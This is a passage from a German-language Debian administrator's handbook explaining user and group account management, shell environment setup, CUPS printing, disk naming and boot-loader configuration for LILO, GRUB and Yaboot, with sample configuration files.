Im Gegensatz zu ihrem Alter Ego /etc/passwd kann die Datei /etc/shadow nicht von normalen Benutzern gelesen werden. Jedes in /etc/passwd gespeicherte verschlüsselte Passwort kann von jedem gelesen werden; ein Cracker könnte versuchen, durch eine von verschiedenen „Brute-Force-Methoden“, die einfach gesagt häufig verwendete Zeichenkombinationen raten, ein Passwort zu „knacken“ (oder aufzudecken). Diese - „Wörterbuchangriff“ genannte - Attacke ist auf Systemen, die /etc/shadow verwenden, nicht mehr möglich.

8.4.3. Ein bestehende Konto oder Passwort ändern

Mit den folgenden Befehlen ist es möglich, die in bestimmten Feldern der Benutzerdatenbanken gespeicherten Informationen zu verändern: passwd erlaubt es einem normalen Benutzer, sein Passwort zu ändern, wodurch wiederum die Datei /etc/shadow aktualisiert wird; chfn (CHange Full Name) ist für den Superuser (Root) reserviert und verändert das Feld GECOS. chsh (CHange SHell) ermöglicht es dem Benutzer, seine Anmelde-Shell zu wechseln, jedoch ist dabei die Auswahl auf diejenigen begrenzt, die in der Datei /etc/shells aufgeführt sind; dagegen ist der Administrator nicht an diese Einschränkung gebunden und kann als Shell jedes von ihm gewählte Programm einstellen.

Schließlich ermöglicht der Befehl chage (CHange AGE) es dem Administrator, die Passwort-Verfallseinstellungen zu ändern (mit der Option -l benutzer werden die aktuellen Einstellungen aufgelistet). Man kann auch den Verfall eines Passworts mit dem Befehl passwd -e benutzer erzwingen, wodurch der Benutzer bei der nächsten Anmeldung sein Passwort ändern muss.

8.4.4. Ein Konto sperren

Es kann sein, dass Sie als Disziplinarmaßnahme, zum Zweck einer Untersuchung oder einfach im Falle einer längeren oder endgültigen Abwesenheit eines Benutzers ein „Konto sperren“ (einen Benutzer ausschließen) müssen. Ein gesperrtes Konto bedeutet, dass sich der Benutzer nicht mehr anmelden und Zugang zum Rechner erhalten kann. Das Konto bleibt unversehrt auf dem Rechner, und weder Dateien noch Daten werden gelöscht; es ist einfach nur nicht mehr zugänglich. Dies wird mit dem Befehl passwd -l benutzer erreicht (zum Sperren). Die erneute Freigabe des Kontos geschieht auf ähnliche Weise mit der Option -u (zum Entsperren).

WEITERE SCHRITTE NSS und Systemdatenbanken

Anstatt die üblichen Dateien zur Verwaltung der Benutzer- und Gruppenlisten zu benutzen, könnten Sie andere Arten von Datenbanken verwenden, wie zum Beispiel LDAP oder db, indem sie ein passendes NSS-Modul (Name Service Switch) einsetzen. Die verwendeten Module werden in der Datei /etc/nsswitch.conf unter den Einträgen passwd, shadow und group aufgeführt. Siehe Section 11.7.3.1, “NSS konfigurieren” für ein konkretes Beispiel zum Einsatz eines NSS-Moduls durch LDAP.

8.4.5. Gruppenliste: /etc/group

Gruppen sind in der Datei /etc/group aufgelistet, einer einfachen Textdatenbank in einem der Datei /etc/passwd ähnlichen Format mit folgenden Feldern:

Gruppenname

Passwort (optional): Dies wird nur dann zum Beitritt zu einer Gruppe benutzt, wenn jemand dort normalerweise nicht Mitglied ist (mit den Befehlen newgrp oder sg, siehe Seitenleiste);

gid: eindeutige Gruppenidentifikationsnummer

Mitgliederliste: Liste mit den Namen der Benutzer, die Mitglieder der Gruppe sind, getrennt durch Kommata.

ZURÜCK ZU DEN GRUNDLAGEN Mit mehreren Gruppen arbeiten

Jeder Benutzer kann Mitglied zahlreicher Gruppen sein; von diesen ist eine seine „Hauptgruppe“. Die Hauptgruppe eines Benutzers wird standardmäßig während der ursprünglichen Benutzerkonfigurierung erstellt. Gemäß der Voreinstellung gehört jede Datei, die ein Benutzer erstellt, ihm selbst sowie auch seiner Hauptgruppe. Dies ist nicht immer wünschenswert; wenn zum Beispiel der Benutzer in einem Verzeichnis arbeiten muss, das von einer anderen Gruppe als seiner Hauptgruppe gemeinsam genutzt wird. In diesem Fall muss der Benutzer seine Hauptgruppe mit einem der folgenden Befehle wechseln: newgrp, der eine neue Shell startet, oder sg, der einfach einen Befehl unter Verwendung der angegebenen alternativen Gruppe ausführt. Diese Befehle ermöglichen es dem Benutzer also, einer Gruppe beizutreten, der er nicht angehört. Falls die Gruppe durch ein Passwort geschützt ist, muss er das richtige Passwort angeben, bevor der Befehl ausgeführt wird.

Stattdessen kann der Benutzer das setgid-Bit auf das Verzeichnis setzen, wodurch in diesem Verzeichnis erstellte Dateien automatisch zur richtigen Gruppe gehören. Zu weiteren Einzelheiten siehe SICHERHEIT setgid-Verzeichnis und Sticky-Bit in der Seitenleiste.

Der Befehl id zeigt den aktuellen Status eines Benutzers an mit seiner persönlichen Kennung (Variable uid), der aktuellen Hauptgruppe (Variable gid) und der Liste der Gruppen, zu denen er gehört (Variable Gruppen).

Die Befehle groupadd und groupdel fügen eine Gruppe hinzu beziehungsweise löschen sie. Der Befehl groupmod ändert die Informationen über eine Gruppe (sein gid, das heißt seine Kennung). Der Befehl passwd -g gruppe ändert das Passwort der Gruppe, während der Befehl passwd -r -g gruppe es löscht.

TIPP getent

Der Befehl getent (get entries) überprüft die Systemdatenbanken auf dem normalen Weg unter Verwendung der passenden Bibliotheksfunktionen, die ihrerseits die in der Datei /etc/nsswitch.conf konfigurierten NSS-Module aufrufen. Der Befehl nimmt ein oder zwei Argumente an: den Namen der zu überprüfenden Datenbank und möglicherweise einen Suchbegriff. So zeigt der Befehl getent passwd rhertzog Informationen aus der Benutzerdatenbank über den Benutzer rhertzog an.

8.5. Konten erstellen

Eine der ersten Aktionen, die ein Administrator zu erledigen hat, wenn er einen neuen Rechner einrichtet, ist das Erstellen von Benutzerkonten. Dies geschieht normalerweise mit dem Befehl adduser, der einen Benutzernamen für den neu zu erstellenden Benutzer als Argument annimmt.

Der Befehl adduser stellt einige Fragen, bevor er ein Konto erstellt, aber seine Benutzung ist ziemlich unkompliziert. Seine Konfigurationsdatei /etc/adduser.conf enthält alle relevanten Einstellungen: sie kann dazu verwendet werden, durch das Erstellen von Benutzervorlagen automatisch eine Quota für jeden neuen Benutzer zu setzen oder den Ort des Benutzerkontos zu ändern; letzteres wird selten gebraucht, erweist sich aber als nützlich, wenn man eine große Zahl von Benutzern hat und zum Beispiel ihre Konten über mehrere Platten aufteilen will. Man kann hiermit auch eine andere Standardshell auswählen.

ZURÜCK ZU DEN GRUNDLAGEN Quota

Der Begriff „Quota“ bezeichnet die Begrenzung der Rechnerressourcen, die ein Benutzer verwenden darf. Es bezieht sich häufig auf den Festplattenplatz.

Bei der Erstellung eines Kontos wird das Home-Verzeichnis des Benutzers mit dem Inhalt der Vorlage /etc/skel/ befüllt. Hierdurch wird dem Benutzer ein Satz von Standardverzeichnissen und Konfigurationsdateien zur Verfügung gestellt.

Manchmal ist es nützlich, einen Benutzer einer Gruppe hinzuzufügen (einer anderen als seiner voreingestellten „Hauptgruppe“), um ihm zusätzliche Berechtigungen zu gewähren. So kann zum Beispiel ein Benutzer, der Mitglied der audio-Gruppe ist, auf Audiogeräte zugreifen (siehe „Zugriffsberechtigungen für Peripheriegeräte“ in der Seitenleiste). Dies kann durch einen Befehl wie adduser benutzer gruppe erreicht werden.

ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte

Bei Unix wird jedes Hardware-Peripheriegerät durch eine besondere Datei dargestellt, die gewöhnlich im Verzeichnisbaum unter /dev/ (DEVices) gespeichert ist. Es gibt in Abhängigkeit von der Art des Gerätes zwei besondere Dateien: Dateien des „Zeichenmodus“ und des „Blockmodus“, von denen jede nur eine begrenzte Anzahl von Operationen ermöglicht. Während der Zeichenmodus die Interaktion mit Lese-/Schreiboperationen beschränkt, ermöglicht der Blockmodus auch die Suche innerhalb der verfügbaren Daten. Jede spezielle Datei ist schließlich zwei Zahlen zugeordnet (einer „Haupt“- und einer „Nebenzahl“), die das Gerät für den Kernel in eindeutiger Weise bezeichnen. Eine derartige Datei, die mit dem Befehl mknod erstellt wird, enthält einfach nur einen symbolischen (und menschenfreundlicheren) Namen.

Die Berechtigungen einer besonderen Datei bilden die für den Zugriff auf das Gerät selbst erforderlichen Berechtigungen ab. So hat eine Datei wie zum Beispiel /dev/mixer, die den Audiomixer darstellt, nur Lese-/Schreibberechtigungen für den Root-Benutzer und für Mitglieder der audio-Gruppe. Nur diese Benutzer können den Audiomixer bedienen.

Es sei darauf hingewiesen, dass durch die Kombination von udev, consolekit und policykit zusätzliche Berechtigungen vergeben werden können, die es Benutzern, die physisch (und nicht über das Netzwerk) mit dem Terminal verbunden sind, ermöglicht, auf bestimmte Geräte zuzugreifen.

8.6. Shell-Umgebung

Befehlsinterpreter (oder Shells) sind für einen Benutzer häufig der erste Berührungspunkt mit einem Computer, und sie müssen daher recht bedienerfreundlich sein. Die meisten verwenden Initialisierungsskripten, mit denen ihr Verhalten konfiguriert werden kann (Autovervollständigung, Text an der Eingabeaufforderung usw.).

bash, die Standardshell, verwendet das Initialisierungsskript /etc/bash.bashrc für „interaktive“ Shells und /etc/profile für „Anmelde“-Shells.

ZURÜCK ZU DEN GRUNDLAGEN Anmeldeshell und (nicht) interaktive Shell

Einfach ausgedrückt wird eine Anmeldeshell aufgerufen, wenn Sie sich mit telnet oder ssh am Terminal anmelden oder durch den ausdrücklichen Befehl bash --login. Unabhängig davon, ob es sich um eine Anmeldeshell handelt oder nicht, kann eine Shell interaktiv sein (zum Beispiel in einem Terminal des Typs xterm) oder nicht interaktiv (wenn ein Skript ausgeführt wird).

ENTDECKUNG Andere Shells, andere Skripten

Jeder Befehlsinterpreter hat eine besondere Syntax und seine eigenen Konfigurationsdateien. So benutzt zsh /etc/zshrc und /etc/zshenv; csh benutzt /etc/csh.cshrc, /etc/csh.login und /etc/csh.logout. Die Handbuchseiten dieser Programme erläutern, welche Dateien sie benutzen.

Bei bash ist es hilfreich, die „automatische Vervollständigung“ in der Datei /etc/bash.bashrc zu aktivieren (einfach bei einigen Zeilen das Kommentarzeichen entfernen).

ZURÜCK ZU DEN GRUNDLAGEN Automatische Vervollständigung

Viele Befehlsinterpreter verfügen über eine Vervollständigungsfunktion, durch die die Shell einen teilweise eingegebenen Befehl oder ein Argument automatisch vervollständigen kann, indem der Benutzer die Tab-Taste drückt. So können Benutzer effizienter arbeiten und sind weniger fehleranfällig.

Diese Funktion ist sehr mächtig und flexibel. Man kann ihr Verhalten in Abhängigkeit von jedem Befehl konfigurieren. So wird das erste Argument, das auf apt-get folgt, in Abhängigkeit von der Syntax dieses Befehls vorgeschlagen, selbst wenn es mit keiner Datei übereinstimmt (in diesem Fall sind die Auswahlmöglichkeiten install, remove, upgrade usw.).

ZURÜCK ZU DEN GRUNDLAGEN Die Tilde, eine Abkürzung für HOME

Die Tilde wird häufig zur Bezeichnung des Verzeichnisses verwendet, auf das die Umgebungsvariable HOME verweist (das Home-Verzeichnis des Benutzers, wie zum Beispiel /home/rhertzog/). Befehlsinterpreter ersetzen sie selbstständig: ~/hello.txt wird zu /home/rhertzog/hello.txt.

Die Tilde ermöglicht auch den Zugriff auf das Home-Verzeichnis eines anderen Benutzers. So ist ~rmas/bonjour.txt gleichbedeutend mit /home/rmas/bonjour.txt.

Zusätzlich zu diesen gemeinsamen Skripten kann jeder Benutzer zur Konfigurierung seiner Shell seine eigenen ~/.bashrc und ~/.bash_profile erstellen. Die häufigsten Veränderungen bestehen im Hinzufügen von Aliassen; dies sind Wörter, die bei der Ausführung eines Befehls automatisch ersetzt werden, was den Aufruf des Befehls beschleunigt. Zum Beispiel können sie den Alias la für den Befehl ls -la | less erstellen; dann brauchen Sie nur la einzugeben, um den Inhalt eines Verzeichnisses im Detail zu einzusehen.

ZURÜCK ZU DEN GRUNDLAGEN Umgebungsvariablen

Umgebungsvariablen ermöglichen es, globale Einstellungen für die Shell oder verschiedene andere aufgerufene Programme zu speichern. Sie sind zusammenhangsbezogen (jeder Prozess hat seinen eigenen Satz an Umgebungsvariablen) aber auch vererbbar. Letzteres eröffnet die Möglichkeit, für eine Anmeldeshell Variablen zu erklären, die an alle Programme, die sie ausführt, weitergegeben werden.

Das Setzen voreingestellter Umgebungsvariablen ist ein wichtiges Element der Shellkonfigurierung. Abgesehen von den für eine Shell spezifischen Variablen sollte man sie in der Datei /etc/environment ablegen, da diese von verschiedenen Programmen, die möglicherweise eine Shellsitzung starten, verwendet wird. Zu den normalerweise hier festgelegte Variablen gehören ORGANIZATION, die gewöhnlich den Namen des Unternehmens oder der Organisation enthält, und HTTP_PROXY, die das Vorhandensein und den Ort eines HTTP-Proxies anzeigt.

TIPP Alle Shells identisch konfiguriert

Benutzer möchten häufig ihre Anmeldeshell und ihre interaktive Shell auf gleiche Weise konfigurieren. Hierzu übertragen (oder „sourcen“) sie den Inhalt der Datei ~/.bashrc in die Datei ~/.bash_profile. Man kann dasselbe mit Dateien machen, die allen Benutzern gemein sind (indem man /etc/bash.bashrc von /etc/profile aus aufruft).

8.7. Druckereinrichtung

Die Druckereinrichtung verursachte gewöhnlich sowohl für Administratoren als auch für Benutzer erhebliche Kopfschmerzen. Diese Kopfschmerzen gehören inzwischen dank der Entwicklung von cups, des freien Druckservers, der das IPP-Protokoll (Internet Printing Protocol) verwendet, weitgehend der Vergangenheit an.

Dieses Programm ist über mehrere Debian-Pakete verteilt: cups ist der zentrale Druckserver; cups-bsd ist eine Kompatibilitätsschicht, die die Verwendung von Befehlen des traditionellen BSD-Drucksystems ermöglicht (den Daemon lpd, die Befehle lpr und lpq usw.); cups-client enthält eine Gruppe von Programmen, die mit dem Server zusammenarbeiten (einen Drucker sperren oder freigeben, gerade stattfindende Druckaufträge anzeigen oder löschen usw.); und schließlich enthält cups-driver-gutenprint eine Sammlung zusätzlicher Druckertreiber für cups.

GEMEINSCHAFT CUPS

CUPS (Common Unix Printing System) wurde für das Unternehmen Easy Software Products als Warenzeichen eingetragen, als cups entwickelt wurde.

→ http://www.easysw.com/

HINWEIS CUPS und CUPSYS

Die Pakete, die cups enthalten, heißen jetzt cups, cups-client, cups-bsd usw. In den Debian-Versionen vor Lenny trugen die Pakete Namen, die auf cupsys beruhten. Man kann auf einigen relativ alten Rechnern, die im Laufe der Zeit aktualisiert worden sind, eventuell noch Übergangspakete finden.

Nach der Installation der verschiedenen Pakete kann cups auf einfache Weise über eine Web-Schnittstelle, die über die lokale Adresse http://localhost:631/ zugänglich ist, verwaltet werden. Dort können Sie Drucker (einschließlich Netzwerk-Druckern) hinzufügen, entfernen und verwalten. Sie können cups auch mit Hilfe der grafischen Schnittstelle system-config-printer (aus dem gleichnamigen Debian-Paket) verwalten, die bei Auswahl der Programmgruppe „Desktop-Umgebung“ standardmäßig installiert wird.

HINWEIS Veralterung von /etc/printcap

cups benutzt die jetzt veraltete Datei /etc/printcap nicht mehr. Programme, die sich auf diese Datei stützen, um eine Liste verfügbarer Drucker zu erhalten, versagen daher. Um dieses Problem zu vermeiden, sollten Sie diese Datei löschen und durch eine symbolische Verknüpfung (siehe ZURÜCK ZU DEN GRUNDLAGEN Symbolische Verknüpfungen in der Seitenleiste) zur Datei /var/run/cups/printcap ersetzen, die von cups beibehalten wird, um Kompatibilität zu gewährleisten.

8.8. Den Boot-Loader konfigurieren

Er funktioniert wahrscheinlich schon, aber trotzdem ist es immer empfehlenswert zu wissen, wie der Boot-Loader konfiguriert und installiert wird für den Fall, dass er aus dem Master Boot Record verschwindet. Dies kann nach der Installierung eines anderen Betriebssystems, wie zum Beispiel Windows, passieren. Die folgenden Informationen können auch dabei helfen, die Konfiguration des Boot-Loaders, falls nötig, zu verändern.

ZURÜCK ZU DEN GRUNDLAGEN Master Boot Record

Der Master Boot Record (MBR) belegt die ersten 512 Bytes der ersten Festplatte und ist die erste Sache, die vom BIOS geladen wird, um die Kontrolle an ein Programm zu übergeben, das in der Lage ist, das gewünschte Betriebssystem hochzufahren. Im allgemeinen wird der Boot-Loader in den MBR installiert und damit sein bisheriger Inhalt überschrieben.

8.8.1. Die Festplatten kennzeichnen

KULTUR udev, devfs und /dev/

Traditionell enthält das Verzeichnis /dev/ sogenannte „spezielle“ Dateien, die dazu dienen, Peripheriegeräte des Systems darzustellen (siehe ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte in der Seitenleiste). So bezieht sich /dev/hda1 immer auf die erste Partition der ersten IDE-Festplatte. Diese statische Struktur erlaubt es nicht, dynamisch „Haupt“- und „Nebenzahlen“ für diese Dateien einzustellen. Hierdurch sind die Kernelentwickler gezwungen, deren Anzahl zu begrenzen, da diese a-priori-Zuordnung verhindert, dass weitere Kennungen vergeben werden, sobald dieses System einmal eingerichtet ist.

Um den Eigenschaften zunehmend dynamischer und modernerer Computer Rechnung zu tragen, hat der Kernel eine Zeit lang eine Umsetzung von /dev/ durch ein virtuelles Dateisystem namens defvs angeboten. In manchen Fällen wird hierdurch das Auffinden von Dateien erleichtert, da die Namenskonvention eine hierarchische Struktur benutzt: die erste Partition der Master-Festplatte auf dem ersten IDE-Bus wurde hierbei durch die Datei /dev/ide/host0/bus0/target0/lun0/part1 dargestellt. Diese Namenskonvention war nicht nur wenig intuitiv, sondern auch fest in den Kernel codiert, wodurch Schwierigkeiten bei im laufenden Betrieb austauschbaren Geräten entstanden, weil der Name der entsprechenden speziellen Datei sich änderte.

Die gegenwärtige Lösung besteht in der zweiten Verkörperung des Prozesses udev, bei dem der Kernel die Auswahl des zu erzeugenden Gerätenamens an ein Programm in der Anwenderumgebung delegiert. Dieses Programm (udevd) kann dann die gesamte Flexibilität der Anwenderumgebung einsetzen bei der Entscheidung, welche Maßnahmen es ergreifen soll, beim Benennen von Peripheriegeräten usw.

Bei udev (user-space /dev/) wird ein Dateisystem im RAM gespeichert und automatisch mit udevd erzeugt (und es verbirgt den Inhalt einer eventuell auf der Festplatte gespeicherten /dev/). udevd arbeitet mit dem hotplug-Subsystem des Kernels zusammen (siehe Section 9.11, “Wechsel im laufenden Betrieb: hotplug”), um das Auftauchen (hotplugging) von Geräten zu erkennen, und erzeugt dann dynamisch die entsprechenden speziellen Dateien in /dev/. Der Inhalt von /dev/ geht somit bei jedem Neustart verloren, aber udev stellt ihn systematisch wieder her.

Dieses Verfahren ermöglicht es dem Rechner, den Dateinamen dynamisch zu wählen. So kann man denselben Namen für ein bestimmtes Gerät behalten, unabhängig von der verwendeten Steckverbindung oder der Verbindungsreihenfolge, was vor allem bei der Verwendung mehrerer USB-Peripheriegeräte hilfreich ist. Das Partitionssystem auf der ersten IDE-Festplatte kann dann zur Sicherstellung der rückwärtigen Kompatibilität /dev/hda1 genannt werden oder auch /dev/root-partition, falls Ihnen das lieber ist, oder sogar beides gleichzeitig, da udevd so eingestellt werden kann, dass es automatisch einen symbolischen Verweis erstellt. Außerdem enthält /dev/ jetzt keine brauchbaren Dateien mehr. Zuvor wurden einige Kernel-Module nicht automatisch geladen, wenn man versuchte, auf das entsprechende Peripheriegerät zuzugreifen. Nunmehr gibt es die spezielle Datei des Peripheriegeräts vor dem Laden des Moduls nicht mehr, was kein Problem darstellt, da die meisten Module dank der automatischen Hardware-Erkennung beim Hochfahren geladen werden. Für nicht feststellbare Peripheriegeräte (wie ältere Plattenlaufwerke oder PS/2-Mäuse) funktioniert dies jedoch nicht. Ziehen Sie deshalb in Erwägung, die Module floppy, psmouse und mousedev zu /etc/modules hinzuzufügen, um so ihr Laden beim Hochfahren zu erzwingen.

Die Konfiguration des Boot-Loaders muss die verschiedenen Festplatten und ihre Partitionen kennzeichnen. Linux verwendet hierzu ein besonderes im Verzeichnis /dev/ gespeichertes Dateisystem (im „Blockmodus“). Früher war /dev/hda die Masterplatte am ersten IDE-Controller und /dev/hdb ihr erster Slave, während /dev/hdc und /dev/hdd die Master- und Slaveplatten am zweiten IDE-Controller waren und so weiter für die übrigen. /dev/sda entsprach dem ersten SCSI-Laufwerk, /dev/sdb dem zweiten und so weiter. Dieses Benennungsschema wurde mit dem in Squeeze vorhandenen Linux-Kernel vereinheitlicht, und alle Festplatten (IDE/PATA, SATA, SCSI, USB, IEEE 1394) werden seitdem als /dev/sd* dargestellt.

Jede Partition wird durch ihre Nummer auf der Platte, auf der sie liegt, dargestellt: so ist zum Beispiel /dev/sda1 die erste Partition auf der ersten Platte, und /dev/sdb3 ist die dritte Partition auf der zweiten Platte.

Die PC-Architektur (oder „i386“) ist auf vier „primäre“ Partitionen je Platte begrenzt. Um über diese Begrenzung hinauszugehen, muss eine von ihnen als „erweiterte“ Partition erstellt werden, die dann weitere „sekundäre“ Partitionen enthalten kann. Diese sekundären Partitionen müssen von 5 aufwärts nummeriert werden. So könnte die erste sekundäre Partition /dev/sda5 sein, gefolgt von /dev/sda6 usw.

Es ist nicht immer leicht sich zu merken, welche Platte mit welchem SATA-Controller verbunden ist, oder welche in der SCSI-Kette an dritter Position steht, vor allem, da sich die Benennung von im laufenden Betrieb austauschbaren Festplatten (zu denen unter anderem die meisten SATA-Platten und externen Platten gehören) von einem Hochfahren zum nächsten ändern kann. Zum Glück erstellt udev zusätzlich zu /dev/sd* symbolische Verknüpfungen mit festen Namen, die man dann verwenden kann, wenn man eine Festplatte unmissverständlich kennzeichnen möchte. Diese symbolischen Verknüpfungen sind in der Datei /dev/disk/by-id gespeichert. Auf einem Rechner mit zwei physischen Platten könnte man zum Beispiel folgendes finden:

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

Beachten Sie, dass einige Platten mehrmals aufgeführt sind (da sie gleichzeitig als ATA-Platten und SCSI-Platten auftreten), aber die relevante Information besteht in erster Linie in den Modell- und Seriennummern der Platten, aufgrund derer man die Peripheriedatei finden kann.

Die in den folgenden Abschnitten als Beispiele angeführten Konfigurationsdateien beziehen sich auf den gleichen Aufbau: eine einzelne IDE-Masterplatte, auf der die erste Partition eine alte Windows-Installation ist und die zweite Debian GNU/Linux enthält.

8.8.2. LILO konfigurieren

LILO (LInux LOader) ist der älteste Boot-Loader - solide aber derb. Er schreibt die physische Adresse des zu ladenden Kernels in den MBR, weshalb im Anschluss an jede Aktualisierung von LILO (oder seiner Konfigurationsdatei) der Befehl lilo ausgeführt werden muss. Wenn man dies vergisst, ist das System nicht mehr in der Lage hochzufahren, falls der alte Kernel entfernt oder ersetzt worden ist, da sich der neue auf der Platte nicht an derselben Stelle befindet.

LILOs Konfigurationsdatei ist /etc/lilo.conf; eine einfache Datei für eine Standardkonfiguration ist in unten stehendem Beispiel wiedergegeben.

Example 8.3. LILO-Konfigurationsdatei

# The disk on which LILO should be installed. # By indicating the disk and not a partition. # you order LILO to be installed on the MBR. boot=/dev/sda # the partition that contains Debian root=/dev/sda2 # the item to be loaded by default default=Linux # the most recent kernel image image=/vmlinuz label=Linux initrd=/initrd.img read-only # Old kernel (if the newly installed kernel doesn't boot) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # only for Linux/Windows dual boot other=/dev/sda1 label=Windows

8.8.3. Konfigurierung von GRUB 2

GRUB (GRand Unified Bootloader) ist neueren Datums. Man muss ihn nicht nach jeder Kernelaktualisierung aufrufen; GRUB kann die Dateisysteme lesen und die Position des Kernels auf der Platte selbst finden. Um ihn in den MBR der ersten Platte zu installieren, geben Sie einfach grub-install /dev/sda ein.

HINWEIS GRUB und GRUB 2

Squeeze enthält GRUB sowohl in der Version 2 als auch in der Version 1 (auch „GRUB Legacy“ genannt). Das Paket grub installiert Version 2 (durch das Paket-Abhängigkeitssystem) und bietet bei einer Aktualisierung von Lenny eine automatische Umstellung an. GRUB 1 ist noch in dem Paket grub-legacy verfügbar.

HINWEIS Plattennamen für GRUB

GRUB kann Festplatten nur aufgrund von Informationen identifizieren, die vom BIOS bereitgestellt werden. (hd0) entspricht der ersten so erkannten Festplatte, (hd1) der zweiten usw. In den meisten Fällen entspricht diese Reihenfolge genau der üblichen Anordnung der Platten unter Linux, jedoch können Probleme auftreten, wenn man SCSI- und IDE-Platten verbindet. GRUB speichert Übereinstimmungen, die er entdeckt, in der Datei /boot/grub/device.map. Falls Sie darin Fehler finden (weil Sie wissen, dass Ihr BIOS Platten in einer anderen Reihenfolge erkennt), korrigieren Sie sie von Hand und führen dann nochmals grub-install aus.

Partitionen haben in GRUB ebenfalls besondere Namen. Wenn Sie „klassische“ Partitionen im MS-DOS-Format verwenden, wird die erste Partition auf der ersten Platte als (hd0,msdos1) gekennzeichnet, die zweite als (hd0,msdos2) usw.

Die Konfiguration von GRUB 2 ist in /boot/grub/grub.cfg gespeichert, aber diese Datei wird (in Debian) aus anderen erzeugt. Achten Sie daher darauf, sie nicht von Hand zu verändern, da derartige lokale Veränderungen bei der nächsten Ausführung von update-grub verloren gehen (was nach einer Aktualisierung verschiedener Pakete geschehen kann). Die häufigsten Veränderungen der Datei /boot/grub/grub.cfg (um zum Beispiel Befehlszeilen-Parameter zum Kernel hinzuzufügen oder die Anzeigedauer des Menüs zu ändern) werden durch die Variablen in der Datei /etc/default/grub vorgenommen. Um Einträge zum Menü hinzuzufügen, können Sie entweder eine Datei namens /boot/grub/custom.cfg erstellen oder die Datei /etc/grub.d/50_custom ändern. Für komplexere Konfigurationen können Sie andere Dateien im Verzeichnis /etc/grub.d ändern oder dort hinzufügen; diese Skripten sollten Konfigurationsausschnitte wiedergeben, möglicherweise unter Verwendung externer Programme. Die folgenden Skripten aktualisieren die Liste der zu ladenden Kernel: 10_linux berücksichtigt die installierten Linux-Kernel; 20_linux beachtet virtuelle Systeme unter Xen, und 30_os-prober führt andere Betriebssysteme (Windows, Mac OSX, Hurd) auf.

8.8.4. Konfigurierung von GRUB Legacy

Version 1 von GRUB kann ebenfalls Dateisysteme lesen. Sie wird mit dem Befehl grub-install /dev/sda installiert.

HINWEIS Plattennamen für GRUB Legacy

GRUB Legacy verwendet zur Benennung von Platten das gleiche System wie GRUB 2 und die gleiche Datei /boot/grub/device.map. Dagegen benennt er Partitionen etwas anders: die erste Partition auf der ersten Platte wird als (hd0,0) bezeichnet, die zweite als (hd0,1) usw.

GRUBs Konfiguration befindet sich in der Datei /boot/grub/menu.lst (siehe Beispiel).

Example 8.4. Konfigurationsdatei für GRUB

# Boot automatically after 30 seconds timeout 30 # Boot first entry by default default 0 # If that fails, try the second fallback 1 # Last kernel installed title GNU/Linux root (hd0,1) kernel /vmlinuz root=/dev/sda2 initrd /initrd.img # Old kernel (if the most recent doesn't boot) title GNU/Linux OLD root (hd0,1) kernel /vmlinuz.old root=/dev/sda2 initrd /initrd.img.old # Only for dual boot, Linux/Windows title Microsoft Windows rootnoverify (hd0,0) makeactive chainloader +1

8.8.5. Für Macintosh-Computer (PowerPC): Yaboot konfigurieren

Yaboot ist der von alten Macintosh-Rechnern mit PowerPC-Prozessoren verwendete Boot-Loader. Sie fahren nicht wie PCs hoch, sondern stützen sich auf eine “Bootstrap“-Partition, von der aus das BIOS (oder OpenFirmware) den Loader ausführt, und auf dem das Programm ybin yaboot und seine Konfigurationsdatei installiert. Man muss diesen Befehl nur ein weiteres Mal ausführen, wenn /etc/yaboot.conf verändert wurde (sie liegt in Kopie auf der Bootstrap-Partition, und yaboot kann die Position des Kernels auf den Platten finden).

Bevor ybin ausgeführt wird, muss man zunächst eine gültige Version der Datei /etc/yaboot.conf haben. Das Folgende ist ein Beispiel einer minimalen Konfiguration.

Example 8.5. Konfigurationsdatei für Yaboot

